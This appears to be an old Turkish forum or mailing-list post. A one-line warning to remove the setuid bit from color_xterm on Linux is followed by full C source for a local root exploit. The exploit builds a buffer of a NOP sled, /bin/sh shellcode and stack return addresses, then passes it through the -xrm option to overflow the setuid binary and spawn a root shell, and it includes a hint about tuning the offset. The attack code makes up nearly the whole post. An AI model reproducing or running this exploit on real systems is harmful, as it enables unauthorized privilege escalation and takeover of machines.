Linuxta yeni bir bug cikti, /usr/X11R6/bin/color_xterm'in s bitini kaldirsaniz iyi olur, code asagida.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define CXTERM_PATH "/usr/X11R6/bin/color_xterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
/* use a different offset if you find this program doesn't do the job */
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("Buy more RAM!\n");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr, "This bug is discovered by Ming Zhang(mzhang@softcom.net)\n");
/* Don't need to set ur DISPLAY to exploit this one, cool huh? */
execl(CXTERM_PATH, "color_xterm", "-xrm",buff, NULL);
}